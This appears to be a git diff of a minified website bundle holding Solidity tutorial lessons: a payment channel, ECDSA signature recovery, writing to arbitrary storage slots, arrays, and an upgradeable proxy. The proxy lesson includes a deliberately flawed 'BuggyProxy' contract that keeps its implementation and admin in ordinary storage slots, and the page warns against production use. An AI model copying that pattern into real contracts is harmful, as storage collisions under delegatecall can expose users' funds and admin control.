AKICAgICAgICApIHsKICAgICAgICAgICAgcmV0dXJuIChhZGRyZXNzKDApLCBSZWNvdmVyRXJyb3IuSW52YWxpZFNpZ25hdHVyZVMpOwogICAgICAgIH0KICAgICAgICBpZiAodiAhPSAyNyAmJiB2ICE9IDI4KSB7CiAgICAgICAgICAgIHJldHVybiAoYWRkcmVzcygwKSwgUmVjb3ZlckVycm9yLkludmFsaWRTaWduYXR1cmVWKTsKICAgICAgICB9CgogICAgICAgIC8vIElmIHRoZSBzaWduYXR1cmUgaXMgdmFsaWQgKGFuZCBub3QgbWFsbGVhYmxlKSwgcmV0dXJuIHRoZSBzaWduZXIgYWRkcmVzcwogICAgICAgIGFkZHJlc3Mgc2lnbmVyID0gZWNyZWNvdmVyKGhhc2gsIHYsIHIsIHMpOwogICAgICAgIGlmIChzaWduZXIgPT0gYWRkcmVzcygwKSkgewogICAgICAgICAgICByZXR1cm4gKGFkZHJlc3MoMCksIFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlKTsKICAgICAgICB9CgogICAgICAgIHJldHVybiAoc2lnbmVyLCBSZWNvdmVyRXJyb3IuTm9FcnJvcik7CiAgICB9CgogICAgZnVuY3Rpb24gcmVjb3ZlcihieXRlczMyIGhhc2gsIHVpbnQ4IHYsIGJ5dGVzMzIgciwgYnl0ZXMzMiBzKQogICAgICAgIGludGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGFkZHJlc3MpCiAgICB7CiAgICAgICAgKGFkZHJlc3MgcmVjb3ZlcmVkLCBSZWNvdmVyRXJyb3IgZXJyb3IpID0gdHJ5UmVjb3ZlcihoYXNoLCB2LCByLCBzKTsKICAgICAgICBfdGhyb3dFcnJvcihlcnJvcik7CiAgICAgICAgcmV0dXJuIHJlY292ZXJlZDsKICAgIH0KCiAgICBmdW5jdGlvbiB0b0V0aFNpZ25lZE1lc3NhZ2VIYXNoKGJ5dGVzMzIgaGFzaCkKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChieXRlczMyKQogICAgewogICAgICAgIC8vIDMyIGlzIHRoZSBsZW5ndGggaW4gYnl0ZXMgb2YgaGFzaCwKICAgICAgICAvLyBlbmZvcmNlZCBieSB0aGUgdHlwZSBzaWduYXR1cmUgYWJvdmUKICAgICAgICByZXR1cm4ga2VjY2FrMjU2KAogICAgICAgICAgICBhYmkuZW5jb2RlUGFja2VkKCJceDE5RXRoZXJldW0gU2lnbmVkIE1lc3NhZ2U6XG4zMiIsIGhhc2gpCiAgICAgICAgKTsKICAgIH0KfQo="},{fileName:"UniDirectionalPaymentChannel.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCAiLi9FQ0RTQS5zb2wiOwoKY29udHJhY3QgUmVlbnRyYW5jeUd1YXJkIHsKICAgIGJvb2wgcHJpdmF0ZSBsb2NrZWQ7CgogICAgbW9kaWZpZXIgZ3VhcmQoKSB7CiAgICAgICAgcmVxdWlyZSghbG9ja2VkKTsKICAgICAgICBsb2NrZWQgPSB0cnVlOwogICAgICAgIF87CiAgICAgICAgbG9ja2VkID0gZmFsc2U7CiAgICB9Cn0KCmNvbnRyYWN0IFVuaURpcmVjdGlvbmFsUGF5bWVudENoYW5uZWwgaXMgUmVlbnRyYW5jeUd1YXJkIHsKICAgIHVzaW5nIEVDRFNBIGZvciBieXRlczMyOwoKICAgIGFkZHJlc3MgcGF5YWJsZSBwdWJsaWMgc2VuZGVyOwogICAgYWRkcmVzcyBwYXlhYmxlIHB1YmxpYyByZWNlaXZlcjsKCiAgICB1aW50MjU2IHByaXZhdGUgY29uc3RhbnQgRFVSQVRJT04gPSA3ICogMjQgKiA2MCAqIDYwOwogICAgdWludDI1NiBwdWJsaWMgZXhwaXJlc0F0OwoKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3MgcGF5YWJsZSBfcmVjZWl2ZXIpIHBheWFibGUgewogICAgICAgIHJlcXVpcmUoX3JlY2VpdmVyICE9IGFkZHJlc3MoMCksICJyZWNlaXZlciA9IHplcm8gYWRkcmVzcyIpOwogICAgICAgIHNlbmRlciA9IHBheWFibGUobXNnLnNlbmRlcik7CiAgICAgICAgcmVjZWl2ZXIgPSBfcmVjZWl2ZXI7CiAgICAgICAgZXhwaXJlc0F0ID0gYmxvY2sudGltZXN0YW1wICsgRFVSQVRJT047CiAgICB9CgogICAgZnVuY3Rpb24gX2dldEhhc2godWludDI1NiBfYW1vdW50KSBwcml2YXRlIHZpZXcgcmV0dXJucyAoYnl0ZXMzMikgewogICAgICAgIC8vIE5PVEU6IHNpZ24gd2l0aCBhZGRyZXNzIG9mIHRoaXMgY29udHJhY3QgdG8gcHJvdGVjdCBhZ2FpbnMKICAgICAgICAvLyByZXBsYXkgYXR0YWNrIG9uIG90aGVyIGNvbnRyYWN0cwogICAgICAgIHJldHVybiBrZWNjYWsyNTYoYWJpLmVuY29kZVBhY2tlZChhZGRyZXNzKHRoaXMpLCBfYW1vdW50KSk7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0SGFzaCh1aW50MjU2IF9hbW91bnQpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAoYnl0ZXMzMikgewogICAgICAgIHJldHVybiBfZ2V0SGFzaChfYW1vdW50KTsKICAgIH0KCiAgICBmdW5jdGlvbiBfZ2V0RXRoU2lnbmVkSGFzaCh1aW50MjU2IF9hbW91bnQpCiAgICAgICAgcHJpdmF0ZQogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zIChieXRlczMyKQogICAgewogICAgICAgIHJldHVybiBfZ2V0SGFzaChfYW1vdW50KS50b0V0aFNpZ25lZE1lc3NhZ2VIYXNoKCk7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0RXRoU2lnbmVkSGFzaCh1aW50MjU2IF9hbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAoYnl0ZXMzMikKICAgIHsKICAgICAgICByZXR1cm4gX2dldEV0aFNpZ25lZEhhc2goX2Ftb3VudCk7CiAgICB9CgogICAgZnVuY3Rpb24gX3ZlcmlmeSh1aW50MjU2IF9hbW91bnQsIGJ5dGVzIG1lbW9yeSBfc2lnKQogICAgICAgIHByaXZhdGUKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAoYm9vbCkKICAgIHsKICAgICAgICByZXR1cm4gX2dldEV0aFNpZ25lZEhhc2goX2Ftb3VudCkucmVjb3Zlcihfc2lnKSA9PSBzZW5kZXI7CiAgICB9CgogICAgZnVuY3Rpb24gdmVyaWZ5KHVpbnQyNTYgX2Ftb3VudCwgYnl0ZXMgbWVtb3J5IF9zaWcpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAoYm9vbCkKICAgIHsKICAgICAgICByZXR1cm4gX3ZlcmlmeShfYW1vdW50LCBfc2lnKTsKICAgIH0KCiAgICBmdW5jdGlvbiBjbG9zZSh1aW50MjU2IF9hbW91bnQsIGJ5dGVzIG1lbW9yeSBfc2lnKSBleHRlcm5hbCBndWFyZCB7CiAgICAgICAgcmVxdWlyZShtc2cuc2VuZGVyID09IHJlY2VpdmVyLCAiIXJlY2VpdmVyIik7CiAgICAgICAgcmVxdWlyZShfdmVyaWZ5KF9hbW91bnQsIF9zaWcpLCAiaW52YWxpZCBzaWciKTsKCiAgICAgICAgKGJvb2wgc2VudCwpID0gcmVjZWl2ZXIuY2FsbHt2YWx1ZTogX2Ftb3VudH0oIiIpOwogICAgICAgIHJlcXVpcmUoc2VudCwgIkZhaWxlZCB0byBzZW5kIEV0aGVyIik7CiAgICAgICAgc2VsZmRlc3RydWN0KHNlbmRlcik7CiAgICB9CgogICAgZnVuY3Rpb24gY2FuY2VsKCkgZXh0ZXJuYWwgewogICAgICAgIHJlcXVpcmUobXNnLnNlbmRlciA9PSBzZW5kZXIsICIhc2VuZGVyIik7CiAgICAgICAgcmVxdWlyZShibG9jay50aW1lc3RhbXAgPj0gZXhwaXJlc0F0LCAiIWV4cGlyZWQiKTsKICAgICAgICBzZWxmZGVzdHJ1Y3Qoc2VuZGVyKTsKICAgIH0KfQo="}],hA=`

              Payment channels allow participants to repeatedly transfer Ether off chain.

              Here is how this contract is used:

              • Alice deploys the contract, funding it with some Ether.
                • @@ -2883,7 +2883,7 @@ After a mimimum waiting period, the transaction can be executed.

                ); } } -`,hy=({prev:s,next:a})=>r.jsx(u,{version:ty,title:oy,description:ry,html:gy,prev:s,next:a,codes:iy}),dy="0.8.24",Iy="Upgradeable Proxy",Cy="Example of upgradeable proxy",jy=[{fileName:"UpgradeableProxy.sol",code:"// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

// Transparent upgradeable proxy pattern

contract CounterV1 {
    uint256 public count;

    function inc() external {
        count += 1;
    }
}

contract CounterV2 {
    uint256 public count;

    function inc() external {
        count += 1;
    }

    function dec() external {
        count -= 1;
    }
}

contract BuggyProxy {
    address public implementation;
    address public admin;

    constructor() {
        admin = msg.sender;
    }

    function _delegate() private {
        (bool ok,) = implementation.delegatecall(msg.data);
        require(ok, "delegatecall failed");
    }

    fallback() external payable {
        _delegate();
    }

    receive() external payable {
        _delegate();
    }

    function upgradeTo(address _implementation) external {
        require(msg.sender == admin, "not authorized");
        implementation = _implementation;
    }
}

contract Dev {
    function selectors() external view returns (bytes4, bytes4, bytes4) {
        return (
            Proxy.admin.selector,
            Proxy.implementation.selector,
            Proxy.upgradeTo.selector
        );
    }
}

contract Proxy {
    // All functions / variables should be private, forward all calls to fallback

    // -1 for unknown preimage
    // 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc
    bytes32 private constant IMPLEMENTATION_SLOT =
        bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1);
    // 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103
    bytes32 private constant ADMIN_SLOT =
        bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1);

    constructor() {
        _setAdmin(msg.sender);
    }

    modifier ifAdmin() {
        if (msg.sender == _getAdmin()) {
            _;
        } else {
            _fallback();
        }
    }

    function _getAdmin() private view returns (address) {
        return StorageSlot.getAddressSlot(ADMIN_SLOT).value;
    }

    function _setAdmin(address _admin) private {
        require(_admin != address(0), "admin = zero address");
        StorageSlot.getAddressSlot(ADMIN_SLOT).value = _admin;
    }

    function _getImplementation() private view returns (address) {
        return StorageSlot.getAddressSlot(IMPLEMENTATION_SLOT).value;
    }

    function _setImplementation(address _implementation) private {
        require(
            _implementation.code.length > 0, "implementation is not contract"
        );
        StorageSlot.getAddressSlot(IMPLEMENTATION_SLOT).value = _implementation;
    }

    // Admin interface //
    function changeAdmin(address _admin) external ifAdmin {
        _setAdmin(_admin);
    }

    // 0x3659cfe6
    function upgradeTo(address _implementation) external ifAdmin {
        _setImplementation(_implementation);
    }

    // 0xf851a440
    function admin() external ifAdmin returns (address) {
        return _getAdmin();
    }

    // 0x5c60da1b
    function implementation() external ifAdmin returns (address) {
        return _getImplementation();
    }

    // User interface //
    function _delegate(address _implementation) internal virtual {
        assembly {
            // Copy msg.data. We take full control of memory in this inline assembly
            // block because it will not return to Solidity code. We overwrite the
            // Solidity scratch pad at memory position 0.

            // calldatacopy(t, f, s) - copy s bytes from calldata at position f to mem at position t
            // calldatasize() - size of call data in bytes
            calldatacopy(0, 0, calldatasize())

            // Call the implementation.
            // out and outsize are 0 because we don't know the size yet.

            // delegatecall(g, a, in, insize, out, outsize) -
            // - call contract at address a
            // - with input mem[in…(in+insize))
            // - providing g gas
            // - and output area mem[out…(out+outsize))
            // - returning 0 on error (eg. out of gas) and 1 on success
            let result :=
                delegatecall(gas(), _implementation, 0, calldatasize(), 0, 0)

            // Copy the returned data.
            // returndatacopy(t, f, s) - copy s bytes from returndata at position f to mem at position t
            // returndatasize() - size of the last returndata
            returndatacopy(0, 0, returndatasize())

            switch result
            // delegatecall returns 0 on error.
            case 0 {
                // revert(p, s) - end execution, revert state changes, return data mem[p…(p+s))
                revert(0, returndatasize())
            }
            default {
                // return(p, s) - end execution, return data mem[p…(p+s))
                return(0, returndatasize())
            }
        }
    }

    function _fallback() private {
        _delegate(_getImplementation());
    }

    fallback() external payable {
        _fallback();
    }

    receive() external payable {
        _fallback();
    }
}

contract ProxyAdmin {
    address public owner;

    constructor() {
        owner = msg.sender;
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "not owner");
        _;
    }

    function getProxyAdmin(address proxy) external view returns (address) {
        (bool ok, bytes memory res) =
            proxy.staticcall(abi.encodeCall(Proxy.admin, ()));
        require(ok, "call failed");
        return abi.decode(res, (address));
    }

    function getProxyImplementation(address proxy)
        external
        view
        returns (address)
    {
        (bool ok, bytes memory res) =
            proxy.staticcall(abi.encodeCall(Proxy.implementation, ()));
        require(ok, "call failed");
        return abi.decode(res, (address));
    }

    function changeProxyAdmin(address payable proxy, address admin)
        external
        onlyOwner
    {
        Proxy(proxy).changeAdmin(admin);
    }

    function upgrade(address payable proxy, address implementation)
        external
        onlyOwner
    {
        Proxy(proxy).upgradeTo(implementation);
    }
}

library StorageSlot {
    struct AddressSlot {
        address value;
    }

    function getAddressSlot(bytes32 slot)
        internal
        pure
        returns (AddressSlot storage r)
    {
        assembly {
            r.slot := slot
        }
    }
}

contract TestSlot {
    bytes32 public constant slot = keccak256("TEST_SLOT");

    function getSlot() external view returns (address) {
        return StorageSlot.getAddressSlot(slot).value;
    }

    function writeSlot(address _addr) external {
        StorageSlot.getAddressSlot(slot).value = _addr;
    }
}
"}],uy=`

                Example of upgradeable proxy contract. Never use this in production.

                +`,IA=({prev:s,next:a})=>r.jsx(u,{version:oA,title:rA,description:iA,html:hA,prev:s,next:a,codes:gA}),dA="0.8.24",CA="Upgradeable Proxy",jA="Example of upgradeable proxy",uA=[{fileName:"UpgradeableProxy.sol",code:"// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

// Transparent upgradeable proxy pattern

contract CounterV1 {
    uint256 public count;

    function inc() external {
        count += 1;
    }
}

contract CounterV2 {
    uint256 public count;

    function inc() external {
        count += 1;
    }

    function dec() external {
        count -= 1;
    }
}

contract BuggyProxy {
    address public implementation;
    address public admin;

    constructor() {
        admin = msg.sender;
    }

    function _delegate() private {
        (bool ok,) = implementation.delegatecall(msg.data);
        require(ok, "delegatecall failed");
    }

    fallback() external payable {
        _delegate();
    }

    receive() external payable {
        _delegate();
    }

    function upgradeTo(address _implementation) external {
        require(msg.sender == admin, "not authorized");
        implementation = _implementation;
    }
}

contract Dev {
    function selectors() external view returns (bytes4, bytes4, bytes4) {
        return (
            Proxy.admin.selector,
            Proxy.implementation.selector,
            Proxy.upgradeTo.selector
        );
    }
}

contract Proxy {
    // All functions / variables should be private, forward all calls to fallback

    // -1 for unknown preimage
    // 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc
    bytes32 private constant IMPLEMENTATION_SLOT =
        bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1);
    // 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103
    bytes32 private constant ADMIN_SLOT =
        bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1);

    constructor() {
        _setAdmin(msg.sender);
    }

    modifier ifAdmin() {
        if (msg.sender == _getAdmin()) {
            _;
        } else {
            _fallback();
        }
    }

    function _getAdmin() private view returns (address) {
        return StorageSlot.getAddressSlot(ADMIN_SLOT).value;
    }

    function _setAdmin(address _admin) private {
        require(_admin != address(0), "admin = zero address");
        StorageSlot.getAddressSlot(ADMIN_SLOT).value = _admin;
    }

    function _getImplementation() private view returns (address) {
        return StorageSlot.getAddressSlot(IMPLEMENTATION_SLOT).value;
    }

    function _setImplementation(address _implementation) private {
        require(
            _implementation.code.length > 0, "implementation is not contract"
        );
        StorageSlot.getAddressSlot(IMPLEMENTATION_SLOT).value = _implementation;
    }

    // Admin interface //
    function changeAdmin(address _admin) external ifAdmin {
        _setAdmin(_admin);
    }

    // 0x3659cfe6
    function upgradeTo(address _implementation) external ifAdmin {
        _setImplementation(_implementation);
    }

    // 0xf851a440
    function admin() external ifAdmin returns (address) {
        return _getAdmin();
    }

    // 0x5c60da1b
    function implementation() external ifAdmin returns (address) {
        return _getImplementation();
    }

    // User interface //
    function _delegate(address _implementation) internal virtual {
        assembly {
            // Copy msg.data. We take full control of memory in this inline assembly
            // block because it will not return to Solidity code. We overwrite the
            // Solidity scratch pad at memory position 0.

            // calldatacopy(t, f, s) - copy s bytes from calldata at position f to mem at position t
            // calldatasize() - size of call data in bytes
            calldatacopy(0, 0, calldatasize())

            // Call the implementation.
            // out and outsize are 0 because we don't know the size yet.

            // delegatecall(g, a, in, insize, out, outsize) -
            // - call contract at address a
            // - with input mem[in…(in+insize))
            // - providing g gas
            // - and output area mem[out…(out+outsize))
            // - returning 0 on error (eg. out of gas) and 1 on success
            let result :=
                delegatecall(gas(), _implementation, 0, calldatasize(), 0, 0)

            // Copy the returned data.
            // returndatacopy(t, f, s) - copy s bytes from returndata at position f to mem at position t
            // returndatasize() - size of the last returndata
            returndatacopy(0, 0, returndatasize())

            switch result
            // delegatecall returns 0 on error.
            case 0 {
                // revert(p, s) - end execution, revert state changes, return data mem[p…(p+s))
                revert(0, returndatasize())
            }
            default {
                // return(p, s) - end execution, return data mem[p…(p+s))
                return(0, returndatasize())
            }
        }
    }

    function _fallback() private {
        _delegate(_getImplementation());
    }

    fallback() external payable {
        _fallback();
    }

    receive() external payable {
        _fallback();
    }
}

contract ProxyAdmin {
    address public owner;

    constructor() {
        owner = msg.sender;
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "not owner");
        _;
    }

    function getProxyAdmin(address proxy) external view returns (address) {
        (bool ok, bytes memory res) =
            proxy.staticcall(abi.encodeCall(Proxy.admin, ()));
        require(ok, "call failed");
        return abi.decode(res, (address));
    }

    function getProxyImplementation(address proxy)
        external
        view
        returns (address)
    {
        (bool ok, bytes memory res) =
            proxy.staticcall(abi.encodeCall(Proxy.implementation, ()));
        require(ok, "call failed");
        return abi.decode(res, (address));
    }

    function changeProxyAdmin(address payable proxy, address admin)
        external
        onlyOwner
    {
        Proxy(proxy).changeAdmin(admin);
    }

    function upgrade(address payable proxy, address implementation)
        external
        onlyOwner
    {
        Proxy(proxy).upgradeTo(implementation);
    }
}

library StorageSlot {
    struct AddressSlot {
        address value;
    }

    function getAddressSlot(bytes32 slot)
        internal
        pure
        returns (AddressSlot storage r)
    {
        assembly {
            r.slot := slot
        }
    }
}

contract TestSlot {
    bytes32 public constant slot = keccak256("TEST_SLOT");

    function getSlot() external view returns (address) {
        return StorageSlot.getAddressSlot(slot).value;
    }

    function writeSlot(address _addr) external {
        StorageSlot.getAddressSlot(slot).value = _addr;
    }
}
"}],AA=`

                Example of upgradeable proxy contract. Never use this in production.

                This example shows

                • how to use delegatecall and return data when fallback is called.
                  • @@ -3140,7 +3140,7 @@ After a mimimum waiting period, the transaction can be executed.

                  StorageSlot.getAddressSlot(slot).value = _addr; } } -`,yy=({prev:s,next:a})=>r.jsx(u,{version:dy,title:Iy,description:Cy,html:uy,prev:s,next:a,codes:jy}),Ay="0.8.24",my="Write to Any Slot",by="Write to Any Slot",wy=[{fileName:"Slot.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmxpYnJhcnkgU3RvcmFnZVNsb3QgewogICAgLy8gV3JhcCBhZGRyZXNzIGluIGEgc3RydWN0IHNvIHRoYXQgaXQgY2FuIGJlIHBhc3NlZCBhcm91bmQgYXMgYSBzdG9yYWdlIHBvaW50ZXIKICAgIHN0cnVjdCBBZGRyZXNzU2xvdCB7CiAgICAgICAgYWRkcmVzcyB2YWx1ZTsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRBZGRyZXNzU2xvdChieXRlczMyIHNsb3QpCiAgICAgICAgaW50ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoQWRkcmVzc1Nsb3Qgc3RvcmFnZSBwb2ludGVyKQogICAgewogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgLy8gR2V0IHRoZSBwb2ludGVyIHRvIEFkZHJlc3NTbG90IHN0b3JlZCBhdCBzbG90CiAgICAgICAgICAgIHBvaW50ZXIuc2xvdCA6PSBzbG90CiAgICAgICAgfQogICAgfQp9Cgpjb250cmFjdCBUZXN0U2xvdCB7CiAgICBieXRlczMyIHB1YmxpYyBjb25zdGFudCBURVNUX1NMT1QgPSBrZWNjYWsyNTYoIlRFU1RfU0xPVCIpOwoKICAgIGZ1bmN0aW9uIHdyaXRlKGFkZHJlc3MgX2FkZHIpIGV4dGVybmFsIHsKICAgICAgICBTdG9yYWdlU2xvdC5BZGRyZXNzU2xvdCBzdG9yYWdlIGRhdGEgPQogICAgICAgICAgICBTdG9yYWdlU2xvdC5nZXRBZGRyZXNzU2xvdChURVNUX1NMT1QpOwogICAgICAgIGRhdGEudmFsdWUgPSBfYWRkcjsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXQoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKGFkZHJlc3MpIHsKICAgICAgICBTdG9yYWdlU2xvdC5BZGRyZXNzU2xvdCBzdG9yYWdlIGRhdGEgPQogICAgICAgICAgICBTdG9yYWdlU2xvdC5nZXRBZGRyZXNzU2xvdChURVNUX1NMT1QpOwogICAgICAgIHJldHVybiBkYXRhLnZhbHVlOwogICAgfQp9Cg=="}],ky=`

                  Solidity storage is like an array of length 2^256. +`,yA=({prev:s,next:a})=>r.jsx(u,{version:dA,title:CA,description:jA,html:AA,prev:s,next:a,codes:uA}),mA="0.8.24",bA="Write to Any Slot",wA="Write to Any Slot",kA=[{fileName:"Slot.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmxpYnJhcnkgU3RvcmFnZVNsb3QgewogICAgLy8gV3JhcCBhZGRyZXNzIGluIGEgc3RydWN0IHNvIHRoYXQgaXQgY2FuIGJlIHBhc3NlZCBhcm91bmQgYXMgYSBzdG9yYWdlIHBvaW50ZXIKICAgIHN0cnVjdCBBZGRyZXNzU2xvdCB7CiAgICAgICAgYWRkcmVzcyB2YWx1ZTsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRBZGRyZXNzU2xvdChieXRlczMyIHNsb3QpCiAgICAgICAgaW50ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoQWRkcmVzc1Nsb3Qgc3RvcmFnZSBwb2ludGVyKQogICAgewogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgLy8gR2V0IHRoZSBwb2ludGVyIHRvIEFkZHJlc3NTbG90IHN0b3JlZCBhdCBzbG90CiAgICAgICAgICAgIHBvaW50ZXIuc2xvdCA6PSBzbG90CiAgICAgICAgfQogICAgfQp9Cgpjb250cmFjdCBUZXN0U2xvdCB7CiAgICBieXRlczMyIHB1YmxpYyBjb25zdGFudCBURVNUX1NMT1QgPSBrZWNjYWsyNTYoIlRFU1RfU0xPVCIpOwoKICAgIGZ1bmN0aW9uIHdyaXRlKGFkZHJlc3MgX2FkZHIpIGV4dGVybmFsIHsKICAgICAgICBTdG9yYWdlU2xvdC5BZGRyZXNzU2xvdCBzdG9yYWdlIGRhdGEgPQogICAgICAgICAgICBTdG9yYWdlU2xvdC5nZXRBZGRyZXNzU2xvdChURVNUX1NMT1QpOwogICAgICAgIGRhdGEudmFsdWUgPSBfYWRkcjsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXQoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKGFkZHJlc3MpIHsKICAgICAgICBTdG9yYWdlU2xvdC5BZGRyZXNzU2xvdCBzdG9yYWdlIGRhdGEgPQogICAgICAgICAgICBTdG9yYWdlU2xvdC5nZXRBZGRyZXNzU2xvdChURVNUX1NMT1QpOwogICAgICAgIHJldHVybiBkYXRhLnZhbHVlOwogICAgfQp9Cg=="}],ZA=`

                  Solidity storage is like an array of length 2^256. Each slot in the array can store 32 bytes.

                  Order of declaration and the type of state variables define which slots it will use.

                  However using assembly, you can write to any slot.

                  @@ -3180,7 +3180,7 @@ Each slot in the array can store 32 bytes.

                  return data.value; } } -`,Zy=({prev:s,next:a})=>r.jsx(u,{version:Ay,title:my,description:by,html:ky,prev:s,next:a,codes:wy}),Wy="0.8.24",Gy="Array",By="Learn about arrays in Solidity",Vy=[{fileName:"Array.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEFycmF5IHsKICAgIC8vIFNldmVyYWwgd2F5cyB0byBpbml0aWFsaXplIGFuIGFycmF5CiAgICB1aW50MjU2W10gcHVibGljIGFycjsKICAgIHVpbnQyNTZbXSBwdWJsaWMgYXJyMiA9IFsxLCAyLCAzXTsKICAgIC8vIEZpeGVkIHNpemVkIGFycmF5LCBhbGwgZWxlbWVudHMgaW5pdGlhbGl6ZSB0byAwCiAgICB1aW50MjU2WzEwXSBwdWJsaWMgbXlGaXhlZFNpemVBcnI7CgogICAgZnVuY3Rpb24gZ2V0KHVpbnQyNTYgaSkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBhcnJbaV07CiAgICB9CgogICAgLy8gU29saWRpdHkgY2FuIHJldHVybiB0aGUgZW50aXJlIGFycmF5LgogICAgLy8gQnV0IHRoaXMgZnVuY3Rpb24gc2hvdWxkIGJlIGF2b2lkZWQgZm9yCiAgICAvLyBhcnJheXMgdGhhdCBjYW4gZ3JvdyBpbmRlZmluaXRlbHkgaW4gbGVuZ3RoLgogICAgZnVuY3Rpb24gZ2V0QXJyKCkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NltdIG1lbW9yeSkgewogICAgICAgIHJldHVybiBhcnI7CiAgICB9CgogICAgZnVuY3Rpb24gcHVzaCh1aW50MjU2IGkpIHB1YmxpYyB7CiAgICAgICAgLy8gQXBwZW5kIHRvIGFycmF5CiAgICAgICAgLy8gVGhpcyB3aWxsIGluY3JlYXNlIHRoZSBhcnJheSBsZW5ndGggYnkgMS4KICAgICAgICBhcnIucHVzaChpKTsKICAgIH0KCiAgICBmdW5jdGlvbiBwb3AoKSBwdWJsaWMgewogICAgICAgIC8vIFJlbW92ZSBsYXN0IGVsZW1lbnQgZnJvbSBhcnJheQogICAgICAgIC8vIFRoaXMgd2lsbCBkZWNyZWFzZSB0aGUgYXJyYXkgbGVuZ3RoIGJ5IDEKICAgICAgICBhcnIucG9wKCk7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0TGVuZ3RoKCkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBhcnIubGVuZ3RoOwogICAgfQoKICAgIGZ1bmN0aW9uIHJlbW92ZSh1aW50MjU2IGluZGV4KSBwdWJsaWMgewogICAgICAgIC8vIERlbGV0ZSBkb2VzIG5vdCBjaGFuZ2UgdGhlIGFycmF5IGxlbmd0aC4KICAgICAgICAvLyBJdCByZXNldHMgdGhlIHZhbHVlIGF0IGluZGV4IHRvIGl0J3MgZGVmYXVsdCB2YWx1ZSwKICAgICAgICAvLyBpbiB0aGlzIGNhc2UgMAogICAgICAgIGRlbGV0ZSBhcnJbaW5kZXhdOwogICAgfQoKICAgIGZ1bmN0aW9uIGV4YW1wbGVzKCkgZXh0ZXJuYWwgewogICAgICAgIC8vIGNyZWF0ZSBhcnJheSBpbiBtZW1vcnksIG9ubHkgZml4ZWQgc2l6ZSBjYW4gYmUgY3JlYXRlZAogICAgICAgIHVpbnQyNTZbXSBtZW1vcnkgYSA9IG5ldyB1aW50MjU2W10oNSk7CiAgICB9Cn0K"},{fileName:"ArrayRemoveByShifting.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEFycmF5UmVtb3ZlQnlTaGlmdGluZyB7CiAgICAvLyBbMSwgMiwgM10gLS0gcmVtb3ZlKDEpIC0tPiBbMSwgMywgM10gLS0+IFsxLCAzXQogICAgLy8gWzEsIDIsIDMsIDQsIDUsIDZdIC0tIHJlbW92ZSgyKSAtLT4gWzEsIDIsIDQsIDUsIDYsIDZdIC0tPiBbMSwgMiwgNCwgNSwgNl0KICAgIC8vIFsxLCAyLCAzLCA0LCA1LCA2XSAtLSByZW1vdmUoMCkgLS0+IFsyLCAzLCA0LCA1LCA2LCA2XSAtLT4gWzIsIDMsIDQsIDUsIDZdCiAgICAvLyBbMV0gLS0gcmVtb3ZlKDApIC0tPiBbMV0gLS0+IFtdCgogICAgdWludDI1NltdIHB1YmxpYyBhcnI7CgogICAgZnVuY3Rpb24gcmVtb3ZlKHVpbnQyNTYgX2luZGV4KSBwdWJsaWMgewogICAgICAgIHJlcXVpcmUoX2luZGV4IDwgYXJyLmxlbmd0aCwgImluZGV4IG91dCBvZiBib3VuZCIpOwoKICAgICAgICBmb3IgKHVpbnQyNTYgaSA9IF9pbmRleDsgaSA8IGFyci5sZW5ndGggLSAxOyBpKyspIHsKICAgICAgICAgICAgYXJyW2ldID0gYXJyW2kgKyAxXTsKICAgICAgICB9CiAgICAgICAgYXJyLnBvcCgpOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3QoKSBleHRl